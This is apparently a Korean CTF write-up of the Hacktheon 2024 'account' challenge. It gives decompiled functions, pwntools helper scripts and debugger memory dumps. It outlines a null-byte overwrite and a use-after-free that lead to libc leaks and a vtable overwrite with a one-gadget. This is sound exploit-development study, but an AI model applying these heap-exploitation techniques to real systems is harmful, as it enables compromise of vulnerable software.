
요약
여러 디버깅하면서 시행착오를 겪은 글.
핵테온 초급 문제의 가장 난이도가 높은 문제가 어느정도인지 느낄 수 있었음. 스킬 획복하는데 상당한 노력 필요…! IDA Pro로 구조체 어케 생성하는지 연습하는데 좋은 기회.
해당 문제는 utf-8/utf-16 타입의 임의의 데이터와 함께 account 생성시킬 수 있음.
첫번째 버그는 그룹 생성후, utf-8 + account를 utf 16 타입으로 바꿔서 최대 크기의 문자열과 함께 수정해버리면 할당 바로 끝에 있는 group 구조체의 account_count를 0으로 덮어쓸 수 있음.
그러면, group에 account가 있더라도 delete_group
수행 가능.
버그로 아래 과정을 5번 수행했을때 make_group()
→ add_account_to_group(group_index, b"\x01")
→ modify_account_data(False, b"\x02", b"D"*8)
“-> delete_group(b"\x00")
count를 계속 증가시켜 0xff
에서 더 증가시키면, 1번쨰 인덱스의 account의 count
필드를 다시 0부터 만들어줄 수 있다,
make_group() → add_account_to_group(group_index, b"\x01")
한 다음, delete_account_from_group(group_index, b"\x01")
를 통해 free.
group_index = make_group()
를 통해 use. 즉 두번째 버그는 use-after-free.
두번쨰 버그를 통해 heap_base
주소 누출, libc_base
주소 획득, vtable
을 조작하여 원가젯으로 덮어써서 add_account_to_group
트리거시 원가젯 호출.
checksec
ubuntu@2d0f4d9a440c:~/hto2024/account$ checksec ./account [*] '/home/ubuntu/hto2024/account/account' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Analysis
main
268바이트의 s 변수를 258만큼 0으로 초기화.
s 변수에 256만큼 입력받고, v3에 입력바이트 수가 들어감.
s 변수, 바이트수와 함께 sub_2900
호출.
unsigned __int64 sub_11D0() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); return __readfsqword(0x28u); } void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { unsigned int v3; // [rsp+Ch] [rbp-114h] _BYTE s[268]; // [rsp+10h] [rbp-110h] BYREF int v5; // [rsp+11Ch] [rbp-4h] v5 = 0; sub_11D0(); while ( 1 ) { memset(s, 0, 258u); v3 = read(0, s, 256u); sub_2900(s, v3); } }
sub_2900
전송되는 첫바이트 메뉴에는 다음과 같음. 모든 메뉴는 함수 리턴값 “%c”
로 출력.
\x00
→sub_1490
- 매개변수 2개:
a1[1]
,a1 + 2
- 매개변수 2개:
\x01
→sub_1710
- 매개변수 1개:
a1[1]
- 매개변수 1개:
\x02
→sub_1AE0
- 매개변수 3개:
a1[2], a1[1], a1 + 3
- 매개변수 3개:
\x10
→sub_1D30
- 매개변수 0개
\x11
→v12 = a1 + 1;
v11 = qword_60D0[*v12];
v10 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v11 + 16) + 8LL))(*v12);
\x12
→v9 = qword_60D0[(unsigned __int8)a1[1]];
v8 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v9 + 16) + 16LL))( (unsigned __int8)a1[1], (unsigned __int8)a1[2]);
\x13
→v7 = qword_60D0[(unsigned __int8)a1[1]];
v6 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v7 + 16) + 24LL))( (unsigned __int8)a1[1], (unsigned __int8)a1[2]);
\x14
→v4 = qword_60D0[*v5]; v3 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v4 + 16) + 32LL))(*v5);
__int64 __fastcall sub_2900(_BYTE *a1, unsigned int a2) { unsigned __int8 v3; // [rsp+1Fh] [rbp-B1h] __int64 v4; // [rsp+20h] [rbp-B0h] unsigned __int8 *v5; // [rsp+28h] [rbp-A8h] unsigned __int8 v6; // [rsp+37h] [rbp-99h] __int64 v7; // [rsp+38h] [rbp-98h] unsigned __int8 v8; // [rsp+4Fh] [rbp-81h] __int64 v9; // [rsp+50h] [rbp-80h] unsigned __int8 v10; // [rsp+67h] [rbp-69h] __int64 v11; // [rsp+68h] [rbp-68h] unsigned __int8 *v12; // [rsp+70h] [rbp-60h] unsigned __int8 v13; // [rsp+7Eh] [rbp-52h] unsigned __int8 v14; // [rsp+7Fh] [rbp-51h] unsigned __int8 v15; // [rsp+8Fh] [rbp-41h] unsigned __int8 v16; // [rsp+9Fh] [rbp-31h] unsigned int v17; // [rsp+C4h] [rbp-Ch] if ( a2 ) { switch ( *a1 ) { case 0: if ( a2 < 3 ) goto LABEL_2; v16 = sub_1490(a1[1], a1 + 2); printf("%c", v16); v17 = v16; break; case 1: if ( a2 != 2 ) goto LABEL_29; v15 = sub_1710(a1[1]); printf("%c", v15); v17 = v15; break; case 2: if ( a2 < 4 ) goto LABEL_29; v14 = sub_1AE0(a1[2], a1[1], a1 + 3); printf("%c", v14); v17 = v14; break; case 0x10: v13 = sub_1D30(); printf("%c", v13); v17 = v13; break; case 0x11: if ( a2 != 2 ) goto LABEL_29; v12 = a1 + 1; if ( (unsigned __int8)a1[1] >= 16u ) goto LABEL_32; v11 = qword_60D0[*v12]; if ( !v11 ) goto LABEL_32; v10 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v11 + 16) + 8LL))(*v12); printf("%c", v10); v17 = v10; break; case 0x12: if ( a2 != 3 ) goto LABEL_29; if ( (unsigned __int8)a1[1] >= 0x10u ) goto LABEL_32; v9 = qword_60D0[(unsigned __int8)a1[1]]; if ( !v9 ) goto LABEL_32; v8 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v9 + 16) + 16LL))( (unsigned __int8)a1[1], (unsigned __int8)a1[2]); printf("%c", v8); v17 = v8; break; case 0x13: if ( a2 != 3 ) goto LABEL_29; if ( (unsigned __int8)a1[1] >= 0x10u ) goto LABEL_32; v7 = qword_60D0[(unsigned __int8)a1[1]]; if ( !v7 ) goto LABEL_32; v6 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*(_QWORD *)(v7 + 16) + 24LL))( (unsigned __int8)a1[1], (unsigned __int8)a1[2]); printf("%c", v6); v17 = v6; break; case 0x14: if ( a2 == 2 ) { v5 = a1 + 1; if ( (unsigned __int8)a1[1] < 0x10u && (v4 = qword_60D0[*v5]) != 0 ) { v3 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)(v4 + 16) + 32LL))(*v5); printf("%c", v3); v17 = v3; } else { LABEL_32: fprintf(stderr, "invalid group id\n"); v17 = -1; } } else { LABEL_29: fprintf(stderr, "invalid packet length\n"); v17 = -1; } break; default: fprintf(stderr, "invalid call_number\n"); v17 = -1; break; } } else { LABEL_2: fprintf(stderr, "invalid length\n"); return (unsigned int)-1; } return v17; }
sub_1490 (make_account)
- 매개변수
account_type
은 2번째 바이트,data
는 3번째 바이트부터 들어감 account_type
이 1이여야함, 아니면"invalid account type”
에러- 최대 계정을 16개까지만 생성 가능.
__int64 __fastcall make_account(char account_type, char *data) { signed __int64 v2; // rax void *v3; // rsp void *v4; // rsp signed __int64 v6; // [rsp+18h] [rbp-28h] int v7; // [rsp+20h] [rbp-20h] int v8; // [rsp+20h] [rbp-20h] int i; // [rsp+24h] [rbp-1Ch] for ( i = 0; ; ++i ) { if ( i >= 16 ) { fprintf(stderr, "no more account\n"); return (unsigned __int8)-1; } if ( !account_id_array[i] ) break; } if ( !account_type ) { v8 = utf16_strlen(data); if ( !v8 ) goto LABEL_7; v2 = (unsigned int)(2 * (v8 + 1)); goto LABEL_12; } if ( account_type != 1 ) goto LABEL_11; v7 = strlen(data); if ( !v7 ) { LABEL_7: fprintf(stderr, "invalid length\n"); return (unsigned __int8)-1; } v2 = (unsigned int)(v7 + 1); LABEL_12: v3 = alloca(v2); v6 = v2; v4 = alloca(v2); if ( v2 ) { *(_BYTE *)v2 = account_type; *(_BYTE *)(v2 + 1) = 0; *(_QWORD *)(v2 + 8) = v2; if ( !account_type ) { utf16_strcpy((_BYTE *)v2, data); goto LABEL_19; } if ( account_type == 1 ) { strcpy((char *)v2, data); LABEL_19: account_id_array[i] = v6; sub_12C0(i); return (unsigned __int8)i; } LABEL_11: fprintf(stderr, "invalid account type\n"); return (unsigned __int8)-1; } fprintf(stderr, "failed to allocate memory\n"); return (unsigned __int8)-1; }
예제 코드: A 16바이트 데이터와 함께 account 추가 생성
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account') def make_account(data): _menu = b"\x00" _type = b"\x01" _data = data payload = _menu + _type + _data p.sendline(payload) return p.recv(1) r = make_account(b"A"*16) info(f"make_account r: {r}") p.interactive()
예제 코드 결과:


sub_1710 (delete_account)
- 2번째 바이트인
a1
이 곧account_id_array
의 인덱스가 됨. - 삭제하려는 account가 사용중인 경우(still in use), 삭제 불가.
__int64 __fastcall delete_account(unsigned __int8 a1) { __int64 v2; // [rsp+8h] [rbp-18h] if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 ) { if ( *(_BYTE *)(v2 + 1) == 1 ) { if ( (unsigned __int8)sub_1390(a1) ) { fprintf(stderr, "unexpected flow\n"); return (unsigned int)-1; } else { account_id_array[a1] = 0; return 0; } } else { fprintf(stderr, "account is still in use\n"); return (unsigned int)-1; } } else { fprintf(stderr, "invalid account id\n"); return (unsigned int)-1; } } __int64 __fastcall sub_1390(unsigned __int8 a1) { __int64 v2; // [rsp+8h] [rbp-18h] if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 ) { if ( !--*(_BYTE *)(v2 + 1) ) { sub_2840(*(_QWORD *)(v2 + 8)); sub_2840(v2); } return *(unsigned __int8 *)(v2 + 1); } else { fprintf(stderr, "invalid account id\n"); return (unsigned __int8)-1; } }
예제 코드:
1. A 16바이트 데이터와 함께 account 추가 생성 (0번째 인덱스 추가)
2. 0번째 인덱스에 추가된 account 삭제
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account') def make_account(data): _menu = b"\x00" _type = b"\x01" _data = data payload = _menu + _type + _data p.sendline(payload) return p.recv(1) r = make_account(b"A"*16) info(f"make_account r: {r}") p.interactive()
예제 코드 결과: account_id_array[0] = 0

MEMORY:00007FFFF7FFA000 dq 1
(0x101에서 1로 변동)

sub_1AE0 (modify_account_data)
- 매개변수 3개:
a1[2], a1[1], a1 + 3
make_account
했을때 0x7FFFF7FFA000 주소에\x01\x01\x00\x00\x00\x00\x00\x00
값이 있어 첫바이트는\x01,
즉if ( *(_BYTE *)v5 != 1 )
성립 Xv4 = strlen(*(const char **)(v5 + 8)) + 1;
수행하므로,is_utf8_type
도 형식에 맞게 true 여야함.- 이전에
make_account
했을때의 길이보다 최대 +1까지 늘일 수 있음, 마지막 바이트는\x00
으로 덮어써짐
ex:make_account
했을때 A 16개,modify_account_data
했을때 B 17개 +\x00
으로 수정 가능.
__int64 __fastcall modify_account_data(char is_utf8_type, unsigned __int8 account_index, char *data) { unsigned int v4; // [rsp+Ch] [rbp-24h] __int64 v5; // [rsp+10h] [rbp-20h] if ( account_index < 0x10u ) { v5 = account_id_array[account_index]; if ( v5 ) { if ( *(_BYTE *)v5 ) { if ( *(_BYTE *)v5 != 1 ) { LABEL_8: fprintf(stderr, "unexpected\n"); return (unsigned int)-1; } v4 = strlen(*(const char **)(v5 + 8)) + 1; } else { v4 = 2 * (utf16_strlen(*(_BYTE **)(v5 + 8)) + 1); } if ( !is_utf8_type ) { if ( 2 * utf16_strlen(data) >= (unsigned __int64)v4 ) goto LABEL_12; utf16_strcpy(*(_BYTE **)(v5 + 8), data); *(_BYTE *)v5 = 0; goto LABEL_17; } if ( is_utf8_type == 1 ) { if ( strlen(data) >= v4 ) { LABEL_12: fprintf(stderr, "invalid length\n"); return (unsigned int)-1; } strcpy(*(char **)(v5 + 8), data); *(_BYTE *)v5 = 1; LABEL_17: sub_1860(v5); return 0; } goto LABEL_8; } } fprintf(stderr, "invalid account id\n"); return (unsigned int)-1; }
예제 코드:
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account') def make_account(data): _menu = b"\x00" _type = b"\x01" _data = data payload = _menu + _type + _data p.sendline(payload) return p.recv(1) def modify_account_Data(is_utf8_type, account_index, data): _menu = b"\x02" if(is_utf8_type): _is_utf8_type = b"\x01" else: _is_utf8_type = b"\x00" payload = _menu + account_index + _is_utf8_type + data p.send(payload) return p.recv() _index = make_account(b"A"*16) info(f"make_account _index: {_index}") r = modify_account_Data(True, b"\x00", b"B"*16) info(f"modify_account_Data ret: {r}") p.interactive()
예제 코드 결과:

sub_1D30 (make_group)
- 최대 그룹을 16개까지만 생성 가능.
__int64 sub_1D30() { void *v0; // rsp void *v1; // rsp int i; // [rsp+10h] [rbp-10h] for ( i = 0; ; ++i ) { if ( i >= 16 ) { fprintf(stderr, "no more group\n"); return (unsigned __int8)-1; } if ( !qword_60D0[i] ) break; } v0 = alloca((signed __int64)qword_60D0); if ( qword_60D0 && (LODWORD(qword_60D0[0]) = 0, v1 = alloca((signed __int64)qword_60D0), (qword_60D0[1] = qword_60D0) != 0) ) { memset((void *)qword_60D0[1], 0, 0x80u); qword_60D0[2] = &off_6010; qword_60D0[i] = qword_60D0; return (unsigned __int8)i; } else { fprintf(stderr, "failed to allocate memory\n"); return (unsigned __int8)-1; } }
예제 코드:
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account') def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) _index = make_group() info(f"make_group _index: {_index}") p.interactive()
예제 코드 결과:



delete_group (sub_1EA0)
v10 = ((__int64 (__fastcall **)(_QWORD))((_QWORD *)(v11 + 16) + 8LL))(*v12);
__int64 __fastcall delete_group(unsigned __int8 group_index) { group *v2; // [rsp+8h] [rbp-18h] if ( group_index < 0x10u && (v2 = (group *)group_array[group_index]) != 0 ) { if ( *(_DWORD *)v2->gap0 ) { fprintf(stderr, "group is not empty\n"); return (unsigned int)-1; } else { sub_2840((__int64)v2->group_data); sub_2840((__int64)v2); group_array[group_index] = 0; return 0; } } else { fprintf(stderr, "invalid group id\n"); return (unsigned int)-1; } } __int64 __fastcall sub_2840(__int64 a1) { __int64 i; // [rsp+10h] [rbp-20h] for ( i = *(_QWORD *)(qword_6150 + 16); i; i = *(_QWORD *)(i + 16) ) { if ( *(_QWORD *)(i + 8) == a1 ) { *(_BYTE *)i = 2; return 0; } } fprintf(stderr, "invalid ptr\n"); return (unsigned int)-1; }
예제 코드:
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account') def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) def delete_group(group_index): _menu = b"\x11" p.send(_menu + group_index) return p.recv(1) _index = make_group() info(f"make_group _index: {_index}") _index = delete_group(_index) info(f"delete_group _index: {_index}")
예제 코드 결과:


add_account_to_group (sub_1FC0)
__int64 __fastcall add_account_to_group(unsigned __int8 group_index, unsigned __int8 account_index) { int j; // [rsp+8h] [rbp-28h] int i; // [rsp+Ch] [rbp-24h] __int64 v5; // [rsp+10h] [rbp-20h] group *v6; // [rsp+18h] [rbp-18h] if ( group_index >= 0x10u ) goto LABEL_2; if ( account_index >= 0x10u ) goto LABEL_4; v6 = (group *)group_array[group_index]; if ( !v6 ) { LABEL_2: fprintf(stderr, "invalid group id\n"); return (unsigned __int8)-1; } if ( *(_DWORD *)v6->gap0 >= 0x10u ) { fprintf(stderr, "group is full\n"); return (unsigned __int8)-1; } v5 = account_id_array[account_index]; if ( !v5 ) { LABEL_4: fprintf(stderr, "invalid account id\n"); return (unsigned __int8)-1; } for ( i = 0; i < 16; ++i ) { if ( *((_QWORD *)v6->group_data + i) == v5 ) { fprintf(stderr, "account is already in the group\n"); return (unsigned __int8)-1; } } for ( j = 0; j < 16; ++j ) { if ( !*((_QWORD *)v6->group_data + j) ) { *((_QWORD *)v6->group_data + j) = v5; ++*(_DWORD *)v6->gap0; sub_12C0(account_index); return 0; } } return 0; } __int64 __fastcall sub_12C0(unsigned __int8 account_index) { __int64 v2; // [rsp+8h] [rbp-18h] if ( account_index < 0x10u && (v2 = account_id_array[account_index]) != 0 ) { return (unsigned __int8)++*(_BYTE *)(v2 + 1); } else { fprintf(stderr, "invalid account id\n"); return (unsigned __int8)-1; } }
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account') def make_account(data): _menu = b"\x00" _type = b"\x01" _data = data payload = _menu + _type + _data p.sendline(payload) return p.recv(1) def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) def add_account_to_group(group_index, account_index): _menu = b"\x12" p.send(_menu + group_index + account_index) return p.recv(1) account_index = make_account(b"A"*16) info(f"make_account _index: {account_index}") group_index = make_group() info(f"make_group _index: {group_index}") r = add_account_to_group(account_index, group_index) info(f"add_account_to_group r: {r}")

account_id_array[0], 00007FFFF7FFA000 + 0x1
바이트가 1 → 2로 변경

group_array[0], 00007FFFF7FFA02A + 0x0
바이트가 0 → 1로 변경

delete_account_from_group (sub_21F0)
__int64 __fastcall delete_account_from_group(unsigned __int8 group_index, unsigned __int8 account_index) { int i; // [rsp+Ch] [rbp-24h] __int64 account_id; // [rsp+10h] [rbp-20h] group *v5; // [rsp+18h] [rbp-18h] if ( group_index >= 0x10u ) goto LABEL_2; if ( account_index >= 0x10u ) goto LABEL_4; v5 = (group *)group_array[group_index]; if ( !v5 ) { LABEL_2: fprintf(stderr, "invalid group id\n"); return (unsigned __int8)-1; } if ( !v5->account_count ) { fprintf(stderr, "group is empty\n"); return (unsigned __int8)-1; } account_id = account_id_array[account_index]; if ( !account_id ) { LABEL_4: fprintf(stderr, "invalid account id\n"); return (unsigned __int8)-1; } for ( i = 0; i < 16; ++i ) { if ( *((_QWORD *)v5->group_data + i) == account_id ) { *((_QWORD *)v5->group_data + i) = 0; --v5->account_count; sub_1390(account_index); return 0; } } fprintf(stderr, "account is not in the group\n"); return (unsigned __int8)-1; } __int64 __fastcall sub_1390(unsigned __int8 a1) { __int64 v2; // [rsp+8h] [rbp-18h] if ( a1 < 0x10u && (v2 = account_id_array[a1]) != 0 ) { if ( !--*(_BYTE *)(v2 + 1) ) { sub_2840(*(_QWORD *)(v2 + 8)); sub_2840(v2); } return *(unsigned __int8 *)(v2 + 1); } else { fprintf(stderr, "invalid account id\n"); return (unsigned __int8)-1; } } __int64 __fastcall sub_2840(__int64 a1) { __int64 i; // [rsp+10h] [rbp-20h] for ( i = *(_QWORD *)(qword_6150 + 16); i; i = *(_QWORD *)(i + 16) ) { if ( *(_QWORD *)(i + 8) == a1 ) { *(_BYTE *)i = 2; return 0; } } fprintf(stderr, "invalid ptr\n"); return (unsigned int)-1; }
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account') def make_account(data): _menu = b"\x00" _type = b"\x01" _data = data payload = _menu + _type + _data p.sendline(payload) return p.recv(1) def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) def add_account_to_group(group_index, account_index): _menu = b"\x12" p.send(_menu + group_index + account_index) return p.recv(1) def delete_account_from_group(group_index, account_index): _menu = b"\x13" p.send(_menu + group_index + account_index) return p.recv(1) account_index = make_account(b"A"*16) info(f"make_account _index: {account_index}") group_index = make_group() info(f"make_group _index: {group_index}") r = add_account_to_group(account_index, group_index) info(f"add_account_to_group r: {r}") r = delete_account_from_group(account_index, group_index) info(f"delete_account_from_group r: {r}") p.interactive()

00007FFFF7FFA000 + 0x1
바이트가 2 → 1로 변경

00007FFFF7FFA02A + 0x0
바이트가 1 → 0으로 변경

list_group (sub_23E0)
b”\x14”
make_account
→make_group
→add_account_to_group
→list_group
- account_data 출력.
- 성공시 0, 실패시 -1 리턴.
__int64 __fastcall list_group(unsigned __int8 group_index) { int i; // [rsp+4h] [rbp-1Ch] group *v3; // [rsp+8h] [rbp-18h] if ( group_index < 0x10u && (v3 = (group *)group_array[group_index]) != 0 ) { if ( v3->account_count ) { for ( i = 0; i < 16; ++i ) { if ( *((_QWORD *)v3->group_data + i) ) sub_1860(*((_QWORD *)v3->group_data + i)); } return 0; } else { fprintf(stderr, "group is empty\n"); return (unsigned int)-1; } } else { fprintf(stderr, "invalid group id\n"); return (unsigned int)-1; } } __int64 __fastcall sub_1860(__int64 a1) { bool v2; // [rsp+Bh] [rbp-25h] int j; // [rsp+10h] [rbp-20h] int i; // [rsp+14h] [rbp-1Ch] if ( a1 ) { if ( *(_BYTE *)a1 ) { if ( *(_BYTE *)a1 != 1 ) { fprintf(stderr, "unexpected\n"); return (unsigned int)-1; } for ( i = 0; *(_BYTE *)(*(_QWORD *)(a1 + 8) + i); ++i ) printf("%c", (unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + i)); } else { for ( j = 0; ; j += 2 ) { v2 = 1; if ( !*(_BYTE *)(*(_QWORD *)(a1 + 8) + j) ) v2 = *(_BYTE *)(*(_QWORD *)(a1 + 8) + j + 1) != 0; if ( !v2 ) break; printf( "%c%c", (unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + j), (unsigned int)*(char *)(*(_QWORD *)(a1 + 8) + j + 1)); } } return 0; } fprintf(stderr, "invalid account id\n"); return (unsigned int)-1; }
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account') def make_account(data): _menu = b"\x00" _type = b"\x01" _data = data payload = _menu + _type + _data p.sendline(payload) return p.recv(1) def delete_account(index): _menu = b"\x01" _index = index payload = _menu + _index p.send(payload) return p.recv(1) def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) def add_account_to_group(group_index, account_index): _menu = b"\x12" p.send(_menu + group_index + account_index) return p.recv(1) def list_group(group_index): p.send(b"\x14" + group_index) return p.recv() account_index = make_account(b"A"*16) info(f"make_account _index: {account_index}") group_index = make_group() info(f"make_group _index: {group_index}") r = add_account_to_group(account_index, group_index) info(f"add_account_to_group r: {r}") r = list_group(group_index) info(f"list_group r: {r}") r = delete_account_from_group(account_index, group_index) info(f"delete_account_from_group r: {r}") r = list_group(group_index) info(f"list_group r: {r}") p.interactive()
[DEBUG] Sent 0x13 bytes: 00000000 00 01 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │··AA│AAAA│AAAA│AAAA│ 00000010 41 41 0a │AA·│ 00000013 [DEBUG] Received 0x1 bytes: b'\x00' [*] make_account _index: b'\x00' [DEBUG] Sent 0x1 bytes: b'\x10' [DEBUG] Received 0x1 bytes: b'\x00' [*] make_group _index: b'\x00' [DEBUG] Sent 0x3 bytes: 00000000 12 00 00 │···│ 00000003 [DEBUG] Received 0x1 bytes: b'\x00' [*] add_account_to_group r: b'\x00' [DEBUG] Sent 0x2 bytes: 00000000 14 00 │··│ 00000002 [DEBUG] Received 0x12 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000010 0a 00 │··│ 00000012
Solution
1. 먼저 16바이트 데이터와 함계 계정을 3번 생성
Code:
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account', checksec=False) def make_account(data): _menu = b"\x00" _type = b"\x01" _data = data payload = _menu + _type + _data p.sendline(payload) return p.recv(1) def delete_account(index): _menu = b"\x01" _index = index payload = _menu + _index p.send(payload) return p.recv(1) def modify_account_Data(is_utf8_type, account_index, data): _menu = b"\x02" if(is_utf8_type): _is_utf8_type = b"\x01" else: _is_utf8_type = b"\x00" payload = _menu + account_index + _is_utf8_type + data p.send(payload) r = p.recv(len(data)) info(f"modify_account_Data r: {r}") return p.recv() def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) def delete_group(group_index): _menu = b"\x11" p.send(_menu + group_index) return p.recv(1) def add_account_to_group(group_index, account_index): _menu = b"\x12" p.send(_menu + group_index + account_index) return p.recv(1) def delete_account_from_group(group_index, account_index): _menu = b"\x13" p.send(_menu + group_index + account_index) return p.recv(1) def list_group(group_index): p.send(b"\x14" + group_index) return p.recv() account_index = make_account(b"A"*16) info(f"make_account _index: {account_index}") account_index = make_account(b"B"*16) info(f"make_account _index: {account_index}") account_index = make_account(b"C"*16) info(f"make_account _index: {account_index}") p.interactive()
Result:
ubuntu@2d0f4d9a440c:~/hto2024/account$ python3 solve.py [+] Starting local process './account': pid 815 [*] make_account _index: b'\x00' [*] make_account _index: b'\x01' [*] make_account _index: b'\x02' [*] Switching to interactive mode
account_id_array
에 3개의 account_id
존재.
7FFFF7FFA000
, 7FFFF7FFA02A
, 7FFFF7FFA054

account_id
내용들

MEMORY:00007FFFF7FFA000 dq offset unk_101 MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018 MEMORY:00007FFFF7FFA010 dq 0 MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141 MEMORY:00007FFFF7FFA018 ; DATA XREF: MEMORY:00007FFFF7FFA008↑o MEMORY:00007FFFF7FFA020 dq offset unk_4141414141414141 MEMORY:00007FFFF7FFA028 db 0Ah MEMORY:00007FFFF7FFA029 db 0 MEMORY:00007FFFF7FFA02A dq offset unk_101 MEMORY:00007FFFF7FFA032 dq offset off_7FFFF7FFA042 MEMORY:00007FFFF7FFA03A dq 0 MEMORY:00007FFFF7FFA042 off_7FFFF7FFA042 dq offset unk_4242424242424242 MEMORY:00007FFFF7FFA042 ; DATA XREF: MEMORY:00007FFFF7FFA032↑o MEMORY:00007FFFF7FFA04A dq offset unk_4242424242424242 MEMORY:00007FFFF7FFA052 db 0Ah MEMORY:00007FFFF7FFA053 db 0 MEMORY:00007FFFF7FFA054 dq offset unk_101 MEMORY:00007FFFF7FFA05C dq offset off_7FFFF7FFA06C MEMORY:00007FFFF7FFA064 dq 0 MEMORY:00007FFFF7FFA06C off_7FFFF7FFA06C dq offset unk_4343434343434343 MEMORY:00007FFFF7FFA06C ; DATA XREF: MEMORY:00007FFFF7FFA05C↑o MEMORY:00007FFFF7FFA074 dq offset unk_4343434343434343 MEMORY:00007FFFF7FFA07C db 0Ah MEMORY:00007FFFF7FFA07D db 0
delete_group
의 경우: _group->account_count == 0
일때, delete_account
의 경우: _account->count == 0
일때, delete_account_from_group
의 경우: _account->count == 0
일때,
free 됨.
끝에 \x00 1바이트 덮는 버그 활용하여 group의 account_count를 0으로 만들기
계정 3개 만들고, 그룹 1개 만들고, 2번째 계정을 그룹에 넣을 경우:
MEMORY:00007FFFF7FFA000 db 1 MEMORY:00007FFFF7FFA001 db 1 MEMORY:00007FFFF7FFA002 db 0 MEMORY:00007FFFF7FFA003 db 0 MEMORY:00007FFFF7FFA004 db 0 MEMORY:00007FFFF7FFA005 db 0 MEMORY:00007FFFF7FFA006 db 0 MEMORY:00007FFFF7FFA007 db 0 MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018 MEMORY:00007FFFF7FFA010 dq 0 MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141 MEMORY:00007FFFF7FFA018 ; DATA XREF: MEMORY:00007FFFF7FFA008↑o MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 byte_7FFFF7FFA021 db 1 ; DATA XREF: MEMORY:off_7FFFF7FFA07B↓o MEMORY:00007FFFF7FFA022 db 2 MEMORY:00007FFFF7FFA023 db 0 MEMORY:00007FFFF7FFA024 db 0 MEMORY:00007FFFF7FFA025 db 0 MEMORY:00007FFFF7FFA026 db 0 MEMORY:00007FFFF7FFA027 db 0 MEMORY:00007FFFF7FFA028 db 0 MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA039 MEMORY:00007FFFF7FFA031 db 0 MEMORY:00007FFFF7FFA032 db 0 MEMORY:00007FFFF7FFA033 db 0 MEMORY:00007FFFF7FFA034 db 0 MEMORY:00007FFFF7FFA035 db 0 MEMORY:00007FFFF7FFA036 db 0 MEMORY:00007FFFF7FFA037 db 0 MEMORY:00007FFFF7FFA038 db 0 MEMORY:00007FFFF7FFA039 off_7FFFF7FFA039 dq offset unk_4242424242424242 MEMORY:00007FFFF7FFA039 ; DATA XREF: MEMORY:00007FFFF7FFA029↑o MEMORY:00007FFFF7FFA041 db 0 MEMORY:00007FFFF7FFA042 db 1 MEMORY:00007FFFF7FFA043 db 1 MEMORY:00007FFFF7FFA044 db 0 MEMORY:00007FFFF7FFA045 db 0 MEMORY:00007FFFF7FFA046 db 0 MEMORY:00007FFFF7FFA047 db 0 MEMORY:00007FFFF7FFA048 db 0 MEMORY:00007FFFF7FFA049 db 0 MEMORY:00007FFFF7FFA04A dq offset off_7FFFF7FFA05A MEMORY:00007FFFF7FFA052 dq 0 MEMORY:00007FFFF7FFA05A off_7FFFF7FFA05A dq offset unk_4343434343434343 MEMORY:00007FFFF7FFA05A ; DATA XREF: MEMORY:00007FFFF7FFA04A↑o MEMORY:00007FFFF7FFA062 db 0 MEMORY:00007FFFF7FFA063 db 1 MEMORY:00007FFFF7FFA064 db 0 MEMORY:00007FFFF7FFA065 db 0 MEMORY:00007FFFF7FFA066 db 0 MEMORY:00007FFFF7FFA067 db 0 MEMORY:00007FFFF7FFA068 db 0 MEMORY:00007FFFF7FFA069 db 0 MEMORY:00007FFFF7FFA06A db 0 MEMORY:00007FFFF7FFA06B dq offset off_7FFFF7FFA07B MEMORY:00007FFFF7FFA073 dq offset group_vtable MEMORY:00007FFFF7FFA07B off_7FFFF7FFA07B dq offset byte_7FFFF7FFA021 MEMORY:00007FFFF7FFA07B ; DATA XREF: MEMORY:00007FFFF7FFA06B↑o MEMORY:00007FFFF7FFA083 db 0 MEMORY:00007FFFF7FFA084 db 0 